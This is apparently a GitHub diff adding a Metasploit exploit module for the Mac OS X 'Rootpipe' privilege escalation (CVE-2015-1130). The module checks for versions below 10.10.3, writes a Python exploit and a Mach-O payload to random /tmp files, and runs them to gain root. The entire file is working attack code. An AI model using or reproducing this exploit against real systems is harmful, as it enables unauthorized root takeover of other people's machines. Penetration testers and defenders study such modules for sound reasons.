|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit4 < Msf::Exploit::Local |
| 9 | + |
| 10 | + Rank = GreatRanking |
| 11 | + |
| 12 | + include Msf::Post::File |
| 13 | + include Msf::Exploit::EXE |
| 14 | + include Msf::Exploit::FileDropper |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => 'Mac OS X "Rootpipe" Privilege Escalation', |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits a hidden backdoor API in Apple's Admin framework on |
| 21 | + OS X to escalate privileges to root. Dubbed "Rootpipe." |
| 22 | +
|
| 23 | + Tested on Yosemite 10.10.2 and should work on previous versions. |
| 24 | +
|
| 25 | + The patch for this issue was not backported to older releases. |
| 26 | + }, |
| 27 | + 'Author' => [ |
| 28 | + 'Emil Kvarnhammar', # Vulnerability discovery and PoC |
| 29 | + 'joev', # Copy/paste monkey |
| 30 | + 'wvu' # Meta copy/paste monkey |
| 31 | + ], |
| 32 | + 'References' => [ |
| 33 | + ['CVE', '2015-1130'], |
| 34 | + ['EDB', '36692'], |
| 35 | + ['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/'] |
| 36 | + ], |
| 37 | + 'DisclosureDate' => 'Apr 9 2015', |
| 38 | + 'License' => MSF_LICENSE, |
| 39 | + 'Platform' => 'osx', |
| 40 | + 'Arch' => ARCH_X86_64, |
| 41 | + 'SessionTypes' => ['shell', 'meterpreter'], |
| 42 | + 'Targets' => [ |
| 43 | + ['Mac OS X 10.10.2 Yosemite x64 (Native Payload)', {}] |
| 44 | + ], |
| 45 | + 'DefaultTarget' => 0 |
| 46 | + )) |
| 47 | + end |
| 48 | + |
| 49 | + def check |
| 50 | + if ver_lt(osx_ver, '10.10.3') |
| 51 | + Exploit::CheckCode::Vulnerable |
| 52 | + else |
| 53 | + Exploit::CheckCode::Safe |
| 54 | + end |
| 55 | + end |
| 56 | + |
| 57 | + def exploit |
| 58 | + exploit_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1130') |
| 59 | + python_exploit = File.read(File.join(exploit_path, 'exploit.py')) |
| 60 | + binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) |
| 61 | + exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" |
| 62 | + payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" |
| 63 | + |
| 64 | + print_status("Writing exploit file as '#{exploit_file}'") |
| 65 | + write_file(exploit_file, python_exploit) |
| 66 | + register_file_for_cleanup(exploit_file) |
| 67 | + |
| 68 | + print_status("Writing payload file as '#{payload_file}'") |
| 69 | + write_file(payload_file, binary_payload) |
| 70 | + register_file_for_cleanup(payload_file) |
| 71 | + |
| 72 | + print_status('Executing payload...') |
| 73 | + cmd_exec("python #{exploit_file} #{payload_file} #{payload_file}") |
| 74 | + cmd_exec(payload_file) |
| 75 | + end |
| 76 | + |
| 77 | + def osx_ver |
| 78 | + cmd_exec('sw_vers -productVersion').to_s.strip |
| 79 | + end |
| 80 | + |
| 81 | + def ver_lt(a, b) |
| 82 | + Gem::Version.new(a) < Gem::Version.new(b) |
| 83 | + end |
| 84 | + |
| 85 | +end |
0 commit comments